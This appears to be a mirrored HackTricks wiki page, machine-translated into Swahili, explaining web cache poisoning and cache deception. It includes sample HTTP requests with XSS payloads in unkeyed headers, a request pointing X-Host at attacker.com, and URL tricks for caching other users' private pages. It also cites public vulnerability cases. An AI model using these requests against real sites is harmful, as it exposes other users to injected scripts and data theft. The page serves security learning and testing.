Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-12-03 09:59:40 +00:00

Translator 9ffdaf4a5a Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

2024-03-29 21:14:28 +00:00

18 KiB

Raw Blame History

Kuhifadhi Sumu na Udanganyifu wa Kuhifadhi

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
Pata bidhaa rasmi za PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Tumia Trickest kujenga na kutumia mifumo ya kazi kwa kutumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tofauti

Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?

Katika sumu ya kuhifadhi wavuti, mvamizi husababisha programu kuhifadhi baadhi ya maudhui yenye nia mbaya kwenye cache, na maudhui haya hutolewa kutoka kwa cache kwa watumiaji wengine wa programu.

Katika udanganyifu wa kuhifadhi wavuti, mvamizi husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, na kisha mvamizi huchukua maudhui haya kutoka kwa cache.

Sumu ya Kuhifadhi

Sumu ya kuhifadhi inalenga kubadilisha kuhifadhi upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo si za kawaida, sehemu, au chini ya udhibiti wa mvamizi. Upeo wa athari unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa kuhifadhi.

Utekelezaji wa shambulio la sumu ya kuhifadhi unajumuisha hatua kadhaa:

Ugunduzi wa Vipengele Visivyo na Kichawi: Hizi ni vigezo ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kubadilisha kuhifadhi.
Udanganyifu wa Vipengele Visivyo na Kichawi: Baada ya kutambua vipengele visivyo na kichawi, hatua inayofuata ni kugundua jinsi ya kutumia vigezo hivi vibaya ili kurekebisha jibu la seva kwa njia inayonufaisha mvamizi.
Kuhakikisha Jibu Lililochafuliwa linahifadhiwa: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye kuhifadhi. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati wa kuhifadhi iliyochafuliwa atapokea jibu lililochafuliwa.

Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu limewekwa kwenye kuhifadhi kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa vipi unapaswa kutilia maanani katika chapisho hili: Vichwa vya Kuhifadhi HTTP.

Ugunduzi: Kuhifadhi nambari 400

Ikiwa unadhani kwamba jibu linawekwa kwenye kuhifadhi, unaweza kujaribu kutuma maombi na kichwa kibaya, ambacho kinapaswa kujibiwa na nambari ya hali 400. Kisha jaribu kupata ombi kawaida na ikiwa jibu ni nambari ya hali 400, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS).
Kichwa kilichopangwa vibaya kinaweza kuwa tu \: kama kichwa.
Taarifa kwamba mara nyingine nambari za hali kama hizi hazihifadhiwi hivyo jaribio hili litakuwa la bure.

Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichawi

Unaweza kutumia Param Miner kufanya nguvu ya vigezo na vichwa ambavyo vinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia kichwa X-Forwarded-For kuonyesha mteja kupakia skripti kutoka hapo:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Kusababisha majibu mabaya kutoka kwa seva ya nyuma

Baada ya kutambua parameter/header, angalia jinsi inavyosafishwa na wapi inaathiri majibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (kufanya XSS au kupakia msimbo wa JS unaodhibitiwa na wewe? kufanya DoS?...)

Pata majibu yaliyohifadhiwa

Baada ya kutambua ukurasa unaoathirika, ni parameter/header gani kutumia na jinsi ya kuitumia, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
Header X-Cache kwenye majibu inaweza kuwa muhimu kwani inaweza kuwa na thamani miss wakati ombi halijahifadhiwa na thamani hit wakati imehifadhiwa.
Header Cache-Control pia ni muhimu kujua ikiwa rasilimali inahifadhiwa na lini rasilimali itahifadhiwa tena: Cache-Control: public, max-age=1800
Header nyingine muhimu ni Vary. Header hii mara nyingi hutumiwa kuonyesha headers ziada ambazo huchukuliwa kama sehemu ya ufunguo wa cache hata kama kawaida hazina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua User-Agent wa muathiriwa anayelengwa, anaweza kudhuru cache kwa watumiaji wanaotumia User-Agent hiyo maalum.
Header nyingine inayohusiana na cache ni Age. Inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.

Unapohifadhi ombi, kuwa makini na headers unazotumia kwa sababu baadhi yao zinaweza kutumika kwa njia isiyotarajiwa kama keyed na muathiriwa atahitaji kutumia header hiyo hiyo. Daima jaribu Cache Poisoning na vivinjari tofauti kuhakikisha kuwa inafanya kazi.

Mifano ya Kutumia

Mfano Rahisi

Header kama X-Forwarded-For inaonyeshwa kwenye majibu bila kusafishwa.
Unaweza kutuma mzigo wa XSS wa msingi na kudhuru cache ili kila mtu anayefikia ukurasa atakuwa na XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note kwamba hii itachafua ombi kwa /en?region=uk sio kwa /en

Kutumia uchafuzi wa cache ya wavuti kuchexploitika udhaifu wa kushughulikia vidakuzi

Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kuchexploitisha XSS kwa wateja kadhaa wanaopakia jibu la cache lenye madhara.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kujaza cache na kufuatilia njia ili kuiba funguo ya API

Maelezo haya yanafafanua jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitahifadhiwa bila Cloudflare kawaida kurekebisha URL, ambayo ilifanyika wakati ombi lilipofikia seva ya wavuti.

Kutumia vichwa vingi kufaidika na udhaifu wa kujaza cache wa wavuti

Maranyingi utahitaji kufaidika na pembejeo kadhaa zisizo na funguo ili uweze kutumia cache. Kwa mfano, unaweza kupata urekebishaji wazi ikiwa unaweka X-Forwarded-Host kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme kuwa http. Ikiwa seva ina peleka maombi yote ya HTTP kwa HTTPS na kutumia kichwa X-Forwarded-Scheme kama jina la kikoa kwa urekebishaji. Unaweza kudhibiti ukurasa unapoelekezwa na urekebishaji.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kuchexploitisha kwa kichwa cha `Vary` lililopunguzwa

Ikiwa umegundua kwamba kichwa cha X-Host kinatumika kama jina la kikoa kusoma rasilimali ya JS lakini kichwa cha Vary katika jibu linabainisha User-Agent. Kisha, unahitaji kupata njia ya kuchukua User-Agent wa mwathiriwa na kudhuru cache kwa kutumia user agent huo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Kuchexploitisha Uvujaji wa Cache ya HTTP kwa Kudanganya Uombaji wa HTTP

Jifunze hapa kuhusu jinsi ya kufanya mashambulizi ya Uvujaji wa Cache kwa kudanganya Uombaji wa HTTP.

Upimaji wa Kiotomatiki kwa Uvujaji wa Cache ya Wavuti

Skana ya Ufikiaji wa Uvujaji wa Cache ya Wavuti inaweza kutumika kiotomatiki kupima uvujaji wa cache ya wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.

Matumizi ya mfano: wcvs -u mfano.com

Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Mifano ya Kudhurika

Apache Traffic Server (CVE-2021-27577)

ATS ilipeleka sehemu ndani ya URL bila kuiondoa na ikazalisha ufunguo wa cache kwa kutumia mwenyeji, njia, na ombi (ikipuuza sehemu). Kwa hivyo ombi /#/../?r=javascript:alert(1) lilipelekwa kwa nyuma kama /#/../?r=javascript:alert(1) na ufunguo wa cache haukuwa na mzigo ndani yake, tu mwenyeji, njia, na ombi.

GitHub CP-DoS

Kutuma thamani mbaya kwenye kichwa cha aina ya yaliyomo kulizua jibu lililohifadhiwa la 405. Ufunguo wa cache ulikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini pekee.

GitLab + GCP CP-DoS

GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo tuli. Vikapu vya GCP vinaweza kusaidia kichwa x-http-method-override. Kwa hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD na kudanganya cache kurudisha mwili wa jibu tupu. Pia inaweza kusaidia njia PURGE.

Rack Middleware (Ruby on Rails)

Katika maombi ya Ruby on Rails, middleware ya Rack mara nyingi hutumiwa. Madhumuni ya msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuweka kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http kinatumwa, kuna mwelekeo wa 301 kwenye eneo sawa, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha X-forwarded-host na kuwaongoza watumiaji kwenye mwenyeji ulioelezwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.

403 na Vikapu vya Kuhifadhi

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata ufikiaji wa S3 au Blobs za Uhifadhi wa Azure na vichwa vya Uthibitishaji visivyo sahihi vilisababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala.

Kuingiza Parameta za Kufungua

Cache mara nyingi hujumuisha parameta maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya size katika maombi. Walakini, ikiwa toleo lililofungwa la parameta (k.m., siz%65) pia lilipelekwa na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameta sahihi ya size. Walakini, nyuma itaprocess thamani katika parameta iliyofungwa kwa URL. URL-encoding ya parameta ya pili ya size ilisababisha kutotumika kwake na cache lakini matumizi yake na nyuma. Kutoa thamani ya 0 kwa parameta hii kulileta kosa la ombi la 400 linaloweza kuhifadhiwa.

Sheria za Wateja wa Mtumiaji

Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kusimamia mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama uvujaji wa cache na DoS.

Uga wa Kichwa Haramu

RFC7230 inabainisha wahusika halali katika majina ya vichwa. Vichwa vinavyo wahusika nje ya safu iliyowekwa ya tchar inapaswa kimsingi kuzindua jibu la Kosa la Ombi la 400. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na wahusika wasio halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha cache-control hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na wahusika wasio halali, kama vile \, kunaweza kusababisha kosa la ombi la 400 linaloweza kuhifadhiwa.

Kupata Vichwa vipya

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Uvujaji wa Cache

Lengo la Uvujaji wa Cache ni kufanya wateja pakia rasilimali ambazo zitahifadhiwa na cache pamoja na habari zao nyeti.

Kwanza kabisa, kumbuka kwamba nyongeza kama vile .css, .js, .png nk kawaida imepangwa kuhifadhiwa kwenye cache. Kwa hivyo, ikiwa unafikia www.mfano.com/profile.php/nonexistent.js cache labda itahifadhi jibu kwa sababu inaona nyongeza ya .js. Lakini, ikiwa programu inarudia na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.mfano.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.

Vitu vingine vya kupima:

www.mfano.com/profile.php/.js
www.mfano.com/profile.php/.css
www.mfano.com/profile.php/test.js
www.mfano.com/profile.php/../test.js
www.mfano.com/profile.php/%2e%2e/test.js
Tumia nyongeza zisizojulikana kama .avif

Mfano mwingine wazi unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano huo, imeelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama http://www.mfano.com/home.php/non-existent.css maudhui ya http://www.mfano.com/home.php (na habari nyeti za mtumiaji) yatarejeshwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kupata http://www.mfano.com/home.php/non-existent.css kwenye kivinjari chao na kuchunguza habari za siri za watumiaji waliopata kabla.

Kumbuka kwamba proksi ya cache inapaswa kuwa imepangwa kuhifadhi faili kulingana na nyongeza ya faili (.css) na sio kulingana na aina ya yaliyomo. Katika mfano http://www.mfano.com/home.php/non-existent.css itakuwa na aina ya yaliyomo ya text/html badala ya aina ya mime ya text/css (ambayo inatarajiwa kwa faili ya .css).